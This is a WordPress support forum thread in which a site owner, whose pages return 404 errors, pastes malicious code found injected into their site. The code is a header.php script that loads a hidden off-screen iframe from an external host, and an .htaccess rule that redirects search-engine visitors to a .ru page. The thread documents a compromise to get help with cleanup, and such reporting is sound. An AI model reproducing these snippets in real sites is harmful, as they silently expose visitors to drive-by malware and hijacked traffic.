WordPress.org

Ready to get started?Download WordPress

Forums

Code Injection, 404 not found page error (3 posts)

  1. matotien
    Member
    Posted 2 years ago #

    Hello,

    Am getting such codes on my header.php file

    #c3284d#
    echo "<script type=\"text/javascript\">
    function frmAdd() {
    var ifrm = document.createElement('iframe');
    ifrm.style.position='absolute';
    ifrm.style.top='-999em';
    ifrm.style.left='-999em';
    ifrm.src = \"http://amazingmt2.ugu.pl/archives/template.php\";
    ifrm.id = 'frmId';
    document.body.appendChild(ifrm);
    };
    window.onload = frmAdd;
    </script>
    ";

    #/c3284d#

    Currently when i try to open the pages they give me a 404 not found error.

    What are the possible causes? What can be done?

    Kind regards,

  2. esmi
    Forum Moderator
    Posted 2 years ago #

  3. matotien
    Member
    Posted 1 year ago #

    I just realized that my .htaccess file was modified.

    #c3284d#
    <IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|about|acoon|alexana|allesklar|allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport|arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|blog|bluewin|botw|brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz|clush|confex|cyber-content|daffodil|devaro|dmoz|dogpile|ebay|ehow|eniro|entireweb|euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow|finditireland|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet|friendsreunited|galaxy|gasta|gigablast|gimpsy|globalsearchdirectory|goo|google|goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland-information|ixquick|jaan|jayde|jobrapido|kataweb|keyweb|kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin|live|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek|msn|myspace|netscape|netzindex|nigma|nlsearch|nol9|oekoportal|openstat|orange|passagen|pocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium|searchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina|startsiden|sucharchiv|suchbiene|suchbot|suchknecht|suchmaschine|suchnase|sympatico|telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-online|topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web|webalta|web-archiv|webcrawler|websuche|westaustraliaonline|wikipedia|wisenut|witch|wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*)
    RewriteRule ^(.*)$ http://gezahcyg.ru/count18.php [R=301,L]
    </IfModule>
    
    #/c3284d#

    I have restored the original file. However the website is still giving me 404 error messages when i try to access the website pages. How can i sort out the 404 error message?

    http://www.generaladjusters.co.ke is the website.

    Kind regards

Topic Closed

This topic has been closed to new replies.

About this Topic